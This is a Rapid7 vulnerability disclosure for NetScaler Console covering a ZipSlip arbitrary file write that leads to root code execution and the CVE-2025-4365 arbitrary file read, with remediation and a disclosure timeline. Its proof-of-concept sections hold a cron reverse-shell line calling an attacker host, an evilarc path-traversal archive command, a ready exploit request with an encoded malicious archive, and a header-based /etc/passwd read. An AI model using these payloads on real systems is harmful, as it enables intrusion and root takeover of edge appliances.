During root cause analysis for the NetScaler Console vulnerability, CVE-2024-6235, Rapid7 discovered two high severity authenticated arbitrary file read and write vulnerabilities which were disclosed to the vendor in accordance with our disclosure policy.
An Arbitrary File Read vulnerability (CVE-2025-4365) was identified in NetScaler Console version 14.1.8.50 and found to affect versions of NetScaler Console and NetScaler SDX 14.1 before 14.1.47.46 and 13.1 before 13.1.58.32, as per the vendor advisory.
An Arbitrary File Write vulnerability was identified in NetScaler Console version 14.1.8.50. After disclosing to the vendor, the vendor reported this issue as already being fixed in the latest version of the product. The vendor, who is a Vendor CVE Numbering Authority (CNA), has indicated that no CVE will be assigned for this Arbitrary File Write vulnerability as it did not affect the latest version of the product at the time of disclosure. With no CVE assigned, and no vendor security bulletin available for this vulnerability, it is not clear which versions of the product are affected by this vulnerability, outside of the versions Rapid7 was able to test (14.1.8.50 which was vulnerable, and 14.1.29.63 which was not vulnerable). As the vulnerability is known to be fixed in the latest version of the product, affected users can update to the latest version in order to remediate it.
Both of these vulnerabilities can be chained with the authentication bypass vulnerability CVE-2024-6235, to exploit them without authentication.
Product Description
NetScaler Console (previously ADM) is a platform for policy management across devices and applications in an organization, often deployed at the edge of a corporate network, and hence an attractive target for ransomware operators.
Impact
By exploiting these issues, an authenticated attacker can read or create arbitrary files on the file system. As the Arbitrary File Write can create files with permissions akin to the root user, it's possible to leverage this to achieve remote code execution as root. By chaining these issues with the authentication bypass CVE-2024-6235, an attacker can achieve unauthenticated remote code execution.
Credit
These vulnerabilities were discovered by Calum Hutton, Senior Security Researcher at Rapid7 and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Exploitation
CVE Unassigned: Authenticated Arbitrary File Write via ZipSlip
Overview
An authenticated admin user can import StyleBooks into the system in several formats including ZIP or TAR archives. A lack of validation of the files within the archive prior to extraction results in an arbitrary file write, due to path traversal characters in the path of a file within the archive (aka ZipSlip). As the process performing the archive extraction is running with permissions equivalent to root, the file can be written to any path on the system and can lead to remote command execution as the root user.
The StyleBook API runs as a separate Python microservice on the NetScaler appliance. We determined that the source code was likely located in
bash-3.2# ls -la /var/python/lib/python3.7/site-packages/NetScalerStyleBooks-1.0-py3.7.egg/
EGG-INFO/ SBConfigEngine/ SBException/ SBInfra/ SBMigration/ SBParser/ stylebook_engine/ tests_unittest/
Using uncompye6 it was possible to decompile the Python bytecode .pyc files back into .py files. We located the API logic responsible for handling the /stylebook/nitro/v2/config/stylebooks/actions/import API endpoint in the SBEngineStyleBookRestAPIHandler class:
from mpspython.infra.mpsfile import MPSFile as SBFile
class SBEngineStyleBookRestAPIHandler(STYLEBOOKENGINEResource):
...
def do_post(self, input_data=None, block_types=None):
self.info("Received request to import a stylebook definition")
try:
sb_list, sb_bundle_dir = self._validate_and_get_input_data(input_data)
...
def _validate_and_get_input_data(self, input_data=None, is_update_stylebook=False):
...
if "content" in definition:
if "file_name" in definition:
contents = base64.b64decode(definition["content"])
file_name = definition["file_name"]
self.is_bundle = True
is_filename_secure = SBUtil.is_filename_secure(file_name)
if not is_filename_secure:
self.logger.error("Insecure stylebook bundle name")
self.raise_exception(524, "error", "Filename has invalid characters")
directory_name = file_name + "_" + SBUtil.get_new_uid()
full_path = self.sb_session.get_tenant_stylebook_import_bundle_path() + "/" + directory_name
SBFile.create_directory(full_path)
zip_file_path = full_path + "/" + file_name
SBFile.safe_write(zip_file_path, contents)
try:
SBFile.unzip_file(zip_file_path, full_path)
except Exception as e:
The do_post() method calls _validate_and_get_input_data() with the request data, which processes the JSON payload and decodes the base64 within the content attribute. The file data is written using SBFile.safe_write(), then the SBFile.unzip_file() method is called. The SBFile object is imported at the top of the file and is an alias of mpspython.infra.mpsfile.MPSFile, located in /var/python/lib/python3.7/site-packages/MPSPython-1.0-py3.7.egg:
class MPSFile(object):
...
@staticmethod
def unzip_file(src_file, dest_file_path):
if src_file.endswith(".tgz") or src_file.endswith(".gz"):
execute = 100
read = 400
dir_perm = execute
file_perm = execute | read
tar = tarfile.open(src_file)
for tarinfo in tar.getmembers():
tarinfo.mode |= dir_perm if tarinfo.isdir() else file_perm
tar.extractall(dest_file_path)
tar.close()
else:
If the StyleBook archive is a tar-gzipped file, and the source file name ends with .tgz or .gz, the unzip_file() method uses tarfile.extractall() to extract the contents of the tar file, without validation, which is vulnerable to ZipSlip when processing malicious archives (see the warning in the official Python docs for the function).
We identified that the arbitrary file write was occurring as user 1000 who has equivalent rights as the root user and could write to any file path on the system, including the root path (/).
We created a cron job with a reverse shell, and included it in the malicious archive, attempting to write the BSD cronfile for the root user at /var/cron/tabs/root and trigger a shell as the root user.
$ cat ~/poc/netscaler/root
SHELL=/usr/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin
MAILTO=""
* * * * * bash -i >& /dev/tcp/192.168.178.103/4444 0>&1
$ python2 evilarc.py -d 7 -o unix -f /tmp/mystylebook.tar.gz -p var/cron/tabs/ ~/poc/netscaler/root
Creating /tmp/mystylebook.tar.gz containing ../../../../../../../var/cron/tabs/root
Uploading the malicious StyleBook caused the file to be written at /var/cron/tabs/root as user 1000:
bash-3.2# ls -la /var/cron/tabs
total 12
drwx------ 2 root wheel 512 Apr 8 10:46 .
drwx------ 3 root wheel 512 Mar 26 16:16 ..
-rwxrw-r-- 1 1000 1000 154 Apr 8 08:29 root
A shell is opened shortly after opening a netcat listener on the target host:
$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.178.222 24032
bash: no job control in this shell
bash-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
PoC
Create a malicious archive using https://github.com/ptoomey3/evilarc or similar, i.e.
$ python2 evilarc.py -d 7 -o unix -f /tmp/mystylebook.tar.gz -p var/cron/tabs/ ~/poc/netscaler/root
Upload the malicious archive as base64 data as with the below request to trigger the arbitrary file write:
POST /stylebook/nitro/v2/config/stylebooks/actions/import?mode=async HTTP/1.1
Host: 192.168.178.222
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html
Content-Type: application/json
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
NITRO_WEB_APPLICATION: true
rand_key: c24e9915bab19188621de22342d01799
Content-Length: 426
Origin: http://192.168.178.222
Connection: keep-alive
Cookie: rdx_pagination_size=250%20Per%20Page; startin=/admin_ui/mas/ent/html/main.html; version_status=true; user_rand=undefined; skip_ftu_flow_temp=true; logged_in_user_name=nsroot; SESSID=##FFEE4BAEFEDE58E016290444E90C32A6CBEEE60AA677D697B7588E4FD185; license_types=3; url_enabled=1; domain_enabled=0; cr_enabled=0; sla_enabled=1
Priority: u=0
{"import":{"file_name":"mystylebook.tar.gz","content":"H4sICB7p9GcC/215c3R5bGVib29rLnRhcgDt0N1KwzAUB/Bc5ynCLnYhmJPTtckUOtiFMKGi4F4grcIGc5Wk3fObTi0DYV4IwuD/y8fJyQmBRGvSP/rBB2pCu6fO15FC23biL0xibT5EdoU5jUfZLBOcO1dw4dg6YdjatKWM+Ad97HxQSjR+17+dOfdb/estY7wQz6u7qiqpj4Hq7Z5qHzfyablelRRTfkvHaajGcTUudm36lJPCZ55S+bC8r9aP5WQi5ZX6bsPd6nqrFlNFL68H6pp34ptMs51rdmmYGeWJMospSykAAAAAAAAAAAAAAAAAAAAAAADgjA+RuElNACgAAA==","encoding":"base64"}}
Impact
This is an authenticated vulnerability which does reduce the risk of exploitation somewhat. However, there are known authentication bypass vulnerabilities affecting the same version of the software that could be leveraged to exploit this issue without authentication (CVE-2024-6235). Due to this, and the fact that the arbitrary file write is occurring as the root user, the impact of exploiting this issue is high and could potentially result in system takeover.
CVE-2025-4365: Authenticated Arbitrary File Read
Overview
An authenticated admin user can craft a HTTP request to read arbitrary files on the system. Validation of the file path does not occur before the file content is returned, resulting in sensitive information disclosure.
The NetScaler Console download API uses the /nitro/v1/download endpoint and is used for various download operations, a typical file download request being as follows, note the download path is included in the URL following the API endpoint, in the following example the path mas_agent_image/nsroot/templates/nsroot.yaml maps to to temporary path on the file system at: /var/mps/tenants/root/tenants/Owner/k8s_agt_temp/##F1BFBD39EEA5C2281699D1B2AEF97DF2B482813653C0F0F83AC0CEC506B7/nsroot/templates/nsroot.yaml
GET /nitro/v1/download/mas_agent_image/nsroot/templates/nsroot.yaml HTTP/1.1
Host: 192.168.178.222
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html
Connection: keep-alive
Cookie: rdx_pagination_size=25%20Per%20Page; skip_ftu_flow_temp=true; logged_in_user_name=nsroot; SESSID=##700D4869F24C83881ABB8A24396DFD0A6466CF71A6DB9BE8EDDDCF97191D; user_rand=undefined; startin=/admin_ui/mas/ent/html/main.html; version_status=true; license_types=3; url_enabled=1; domain_enabled=0; cr_enabled=0; sla_enabled=1
Upgrade-Insecure-Requests: 1
Priority: u=4
While reviewing Python source code on the NetScaler appliance, namely /mps/python/util/agentFileUploadDownload.py, an alternative usage of the download API was identified, see the following code snippet:
class agentFileUploadDownload:
def download(self, sessionid, serverIP, localPath, remotePath, agentId, rowid, token, customerid, servicename, traceinfo):
payload = ""
context = ""
global CERT_BUNDLE_PATH
file_name = os.path.basename(localPath)
if traceinfo and customerid:
context = "%s %s" %(traceinfo, customerid)
try:
logger.info("Download file %s started from NetScaler Console %s" %(file_name, context))
if customerid == "Owner":
URL = "https://" + serverIP + "/nitro/v1/download"
CERT_BUNDLE_PATH = False
else:
URL = "https://" + serverIP + "/" + customerid + \
"/" + servicename + "/nitro/v1/download"
headers = {'Authorization': "CWSAuth service=" + token, 'Cookie': 'SESSID=' + sessionid,
'agent-id': agentId, 'file': remotePath, 'row-id': rowid, 'File-Source': 'Agent'}
The URL in the code equates to the same download API as before but the file path is not set in the URL but in a file header instead. Other interesting headers are also exposed. By using a combination of the file and Authorization headers disclosed above, it’s possible to read arbitrary files on the system.
PoC
The following HTTP request and response highlights this issue, by using a dummy value for the Authorization header, and /etc/passwd for the file header, the content of the /etc/passwd file is included in the response.
GET /nitro/v1/download HTTP/1.1
Host: 192.168.178.223
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.178.223/admin_ui/mas/ent/html/main.html
Connection: keep-alive
Cookie: user_rand=undefined; startin=/admin_ui/mas/ent/html/main.html; version_status=true; skip_ftu_flow_temp=true; logged_in_user_name=nsroot; SESSID=##42641EE25C0BCBCDF65CE5CDF4A119F51E0472A52D607E645794D553F9C6; license_types=3; url_enabled=1; domain_enabled=0; cr_enabled=0; sla_enabled=1
Priority: u=0
file: /etc/passwd
Authorization: CWSAuth service=XXX
HTTP/1.1 200 OK
Date: Tue, 08 Apr 2025 11:37:20 GMT
Connection: Keep-Alive
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/octet-stream
Content-Disposition: attachment
Content-Transfer-Encoding: binary
Last-Modified: Tue, 08 Apr 2025 09:23:59 GMT
Content-Length: 1791
# $FreeBSD: releng/11.4/etc/master.passwd 359448 2020-03-30 17:11:21Z brooks $
#
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/mps/mpssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
...
Impact
This is an authenticated vulnerability, which does reduce the risk of exploitation somewhat. However, there are known authentication bypass vulnerabilities affecting the same version of the software that could be leveraged to exploit this issue without authentication (CVE-2024-6235). Though not as severe as the ability to write arbitrary files, reading arbitrary files is likely to lead to highly sensitive information disclosure which could be leveraged for additional attacks.
Remediation
The Arbitrary File Write vulnerability was fixed in or before version `14.1.29.63` of NetScaler Console. The Arbitrary File Read vulnerability was fixed in version 14.1.47.46 and 13.1.58.32 of both NetScaler Console and NetScaler SDX. Users should ensure they have updated to these patched versions to mitigate the risk from these vulnerabilities.
Rapid7 Customers
InsightVM and Nexpose customers can assess their exposure to CVE-2025-4365 in the NetScaler Console product, with an authenticated check available in the June 17 content release. An authenticated check for the Arbitrary File Write vulnerability in NetScaler Console is expected to be available in today’s (June 18) content release.
Disclosure Timeline
- April 2025: Issues discovered by Calum Hutton
- April 9, 2025: Initial contact with Citrix
- April 11, 2025: Disclosure details provided to Citrix
- April 24, 2025: Citrix confirmed they could reproduce issue(s), suggested coordinateddisclosure date around mid July.
- May 29, 2025: Citrix clarified they will not assign a CVE for the Arbitrary File Write via ZipSlip vulnerability as it does not affect the latest version of the product.
- June 17, 2025, Citrix announced early publication of CVE-2025-4365 for the Arbitrary File Read vulnerability
- June 18, 2025: Public disclosure via publication of this blog post